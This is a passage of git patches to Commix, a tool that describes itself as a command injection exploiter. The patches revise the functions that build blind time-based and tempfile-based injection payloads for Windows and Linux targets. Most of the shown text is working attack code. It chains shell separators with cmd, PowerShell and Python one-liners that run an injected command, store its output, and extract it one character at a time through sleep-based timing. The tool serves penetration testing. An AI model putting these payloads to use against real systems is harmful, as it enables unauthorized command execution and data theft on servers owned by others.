+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + settings.SINGLE_WHITESPACE +
# Find the length of the output, using readline().
"[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
@@ -199,42 +195,38 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque
"""
def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" :
+ if separator == "||" or separator == "|" :
pipe = "|"
- payload = (pipe + " "
+ payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
- "\"') do @set /p =%i" +
- settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "" + OUTPUT_TEXTFILE + "< nul) "
- "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")"
+ pipe +
+ "for /f \"tokens=*\" %x in ('cmd /c \"" +
+ "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE +
+ "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'"
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
- payload = (ampersand + " "
+ payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
- "\"') do @set /p =%i" +
- settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "" + OUTPUT_TEXTFILE + "< nul) "
- "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")"
+ ampersand +
+ "for /f \"tokens=*\" %x in ('cmd /c \"" +
+ "powershell.exe -InputFormat none write-host ([int[]][char[]]([string](cmd /c " + cmd + ")))\"')" + settings.SINGLE_WHITESPACE +
+ "do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%x'"
)
else:
@@ -314,18 +306,16 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == "win":
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\""
- if separator == "||" :
+ if separator == "||" or separator == "|" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
- "') do @set /p =%i" +
- settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul " + pipe + " "
+ "') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
- "') do if %i==" +str(j) + " "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
@@ -333,13 +323,11 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
- "') do @set /p =%i" +
- settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + "< nul " + ampersand + ""
+ "') do " + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + " '%i'" + ampersand +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
- "') do if %i==" +str(j) + " "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(j) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
)
else:
if separator == ";" :
@@ -369,11 +357,11 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
- "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator +
# Find the length of the output, using readline().
- "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator +
- "[ " + str(j) + " -eq ${str1} ] " + separator +
+ "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator +
+ "[ " + str(j) + " -eq ${str1} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") "
)
#if menu.options.data:
@@ -382,7 +370,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + " "
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + settings.SINGLE_WHITESPACE +
"[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
@@ -405,13 +393,13 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
"""
def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" :
+ if separator == "||" or separator == "|" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
- "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')"
- " do if %i==" +str(ascii_char)+ " "
- "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")"
+ "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE +
+ "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
elif separator == "&&" :
@@ -419,17 +407,17 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
- "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" +str(num_of_chars-1)+ "]\"')"
- " do if %i==" +str(ascii_char)+ " "
- "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\")"
+ "(Get-Content " + OUTPUT_TEXTFILE + ").split(\" \")[" + str(num_of_chars - 1) + "]\"')" + settings.SINGLE_WHITESPACE +
+ "do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec + 1) + "\""
)
else:
if separator == ";" :
payload = (separator +
# Use space as delimiter
- "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator +
- "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
+ "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator +
+ "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
@@ -439,8 +427,8 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
#separator = "\n"
payload = (separator +
# Use space as delimiter
- "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator +
- "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
+ "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator +
+ "if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then sleep 0" + separator +
"else sleep " + str(timesec) + separator +
"fi "
@@ -450,10 +438,10 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "sleep 0" + separator +
+ "sleep 0" + separator +
# Use space as delimiter
- "str=$(awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + ")" + separator +
- "[ " + str(ascii_char) + " -eq ${str} ] " + separator +
+ "str=$(awk '{print$" + str(num_of_chars) + "}'<" + OUTPUT_TEXTFILE + ")" + separator +
+ "[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"sleep " + str(timesec)
)
#if menu.options.data:
@@ -472,7 +460,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
)
else:
pass
-
+ #
return payload
"""
@@ -481,29 +469,27 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\""
- if separator == "||" :
+ if separator == "||" or separator == "|" :
pipe = "|"
- payload = (pipe + " "
+ payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
- "') do if %i==" + str(ascii_char) + " "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
- payload = (ampersand + ""
+ payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
- "') do if %i==" + str(ascii_char) + " "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec + 1) + ")\""
)
else:
if separator == ";" :
payload = (separator +
- "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
@@ -513,7 +499,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
elif separator == "%0a" :
#separator = "\n"
payload = (separator +
- "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
@@ -524,9 +510,9 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
- "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator +
- "[ " + str(ascii_char) + " -eq ${str} ] " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\")" + separator +
+ "[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
#if menu.options.data:
@@ -535,7 +521,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\") ] " + separator +
+ "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
@@ -556,25 +542,23 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
"""
def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" :
+ if separator == "||" or separator == "|" :
pipe = "|"
- payload = (pipe + " "
+ payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ")\"') "
- "do if %i==" + str(ord(str(ascii_char))) + " "
- "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") "
- # "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")"
+ "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
- payload = (ampersand + ""
+ payload = (ampersand +
"for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ")\"') "
- "do if %i==" + str(ord(str(ascii_char))) + " "
- "(cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\") "
- # "else (cmd /c \"" + settings.WIN_DEL + OUTPUT_TEXTFILE + "\")"
+ "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
)
else:
@@ -601,9 +585,9 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "sleep 0" + separator +
+ "sleep 0" + separator +
"str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator +
- "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator +
+ "[ " + str(ord(str(ascii_char))) + " -eq ${str} ] " + separator +
"sleep " + str(timesec)
)
#if menu.options.data:
@@ -617,6 +601,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
)
else:
pass
+
return payload
@@ -626,29 +611,27 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\""
- if separator == "||" :
+ if separator == "||" or separator == "|" :
pipe = "|"
- payload = (pipe + " "
+ payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
- "') do if %i==" + str(ascii_char) + " "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
)
elif separator == "&&" :
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
- payload = (ampersand + ""
+ payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
- "') do if %i==" + str(ascii_char) + " "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\"" + ") else "
- "(cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(0)\"" + ")"
+ "') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
+ "cmd /c " + settings.WIN_PYTHON_INTERPRETER + " -c \"import time; time.sleep(" + str(timesec) + ")\""
)
else:
if separator == ";" :
payload = (separator +
- "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
@@ -658,7 +641,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char,
elif separator == "%0a" :
#separator = "\n"
payload = (separator +
- "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\")" + separator +
"if [ " + str(ascii_char) + " -ne ${str} ]" + separator +
"then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator +
"else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator +
@@ -669,9 +652,9 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char,
separator = _urllib.parse.quote(separator)
ampersand = _urllib.parse.quote("&")
payload = (ampersand +
- "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
- "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") " + separator +
- "[ " + str(ascii_char) + " -eq ${str} ] " + separator +
+ "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator +
+ "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") " + separator +
+ "[ " + str(ascii_char) + " -eq ${str} ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
#if menu.options.data:
@@ -680,7 +663,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char,
elif separator == "||" :
pipe = "|"
payload = (pipe +
- "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") ] " + separator +
+ "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\") ] " + separator +
"$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")"
)
else:
diff --git a/src/utils/settings.py b/src/utils/settings.py
index e08bbaea8f..50bd7279f3 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "90"
+REVISION = "91"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From 559db1e64b0987dd7b073c14ef5a9a2d3215ef47 Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Fri, 24 Jun 2022 08:57:18 +0300
Subject: [PATCH 169/560] Improvements regarding Windows-based payloads for
every supported technique.
---
doc/CHANGELOG.md | 1 +
.../techniques/time_based/tb_file_access.py | 3 +-
.../blind/techniques/time_based/tb_handler.py | 2 +-
.../techniques/time_based/tb_payloads.py | 40 +++++++++++--------
.../techniques/classic/cb_payloads.py | 10 ++---
.../techniques/eval_based/eb_payloads.py | 8 ++--
.../techniques/file_based/fb_payloads.py | 6 +--
.../tempfile_based/tfb_file_access.py | 3 +-
.../techniques/tempfile_based/tfb_handler.py | 2 +-
src/core/requests/requests.py | 4 +-
src/utils/settings.py | 10 +++--
11 files changed, 51 insertions(+), 38 deletions(-)
diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md
index e0f40c072b..eb600e96ab 100755
--- a/doc/CHANGELOG.md
+++ b/doc/CHANGELOG.md
@@ -1,4 +1,5 @@
## Version 3.5 (TBA)
+* Revised: Improvements regarding Windows-based payloads for every supported technique.
* Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads.
* Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed.
* Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options.
diff --git a/src/core/injections/blind/techniques/time_based/tb_file_access.py b/src/core/injections/blind/techniques/time_based/tb_file_access.py
index 6f42db0d7e..07506097cd 100755
--- a/src/core/injections/blind/techniques/time_based/tb_file_access.py
+++ b/src/core/injections/blind/techniques/time_based/tb_file_access.py
@@ -35,6 +35,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
_ = False
file_to_write, dest_to_write, content = checks.check_file_to_write()
if settings.TARGET_OS == "win":
+ _ = True
from src.core.injections.results_based.techniques.classic import cb_injector
whitespace = settings.WHITESPACES[0]
cmd = checks.change_dir(dest_to_write)
@@ -53,7 +54,7 @@ def file_write(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec,
check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
shell = "".join(str(p) for p in shell)
cmd = checks.check_file(dest_to_write)
- if settings.VERBOSITY_LEVEL == 0:
+ if settings.VERBOSITY_LEVEL == 0 and not _:
print(settings.SINGLE_WHITESPACE)
check_how_long, shell = tb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response)
shell = "".join(str(p) for p in shell)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index f3b277efef..d7c23e6ad6 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -210,7 +210,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
if false_positive_warning:
warn_msg = "Unexpected time delays have been identified due to unstable "
warn_msg += "requests. This behavior may lead to false-positive results.\n"
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
+ sys.stdout.write("\r" + settings.print_bold_warning_msg(warn_msg))
while True:
message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
proceed_option = common.read_input(message, default="C", check_batch=True)
diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py
index 3af148ca52..fe5ab555d6 100755
--- a/src/core/injections/blind/techniques/time_based/tb_payloads.py
+++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py
@@ -26,8 +26,9 @@
"""
def decision(separator, TAG, output_length, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "|" :
- payload = (separator +
+ if separator == "||" or separator == "|" :
+ pipe = "|"
+ payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') "
"do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
@@ -96,8 +97,9 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method):
if settings.TARGET_OS == "win":
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\""
- if separator == "|" :
- payload = (separator + settings.SINGLE_WHITESPACE +
+ if separator == "||" or separator == "|" :
+ pipe = "|"
+ payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
@@ -177,8 +179,9 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me
"""
def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "|" :
- payload = (separator + settings.SINGLE_WHITESPACE +
+ if separator == "||" or separator == "|" :
+ pipe = "|"
+ payload = (pipe + settings.SINGLE_WHITESPACE +
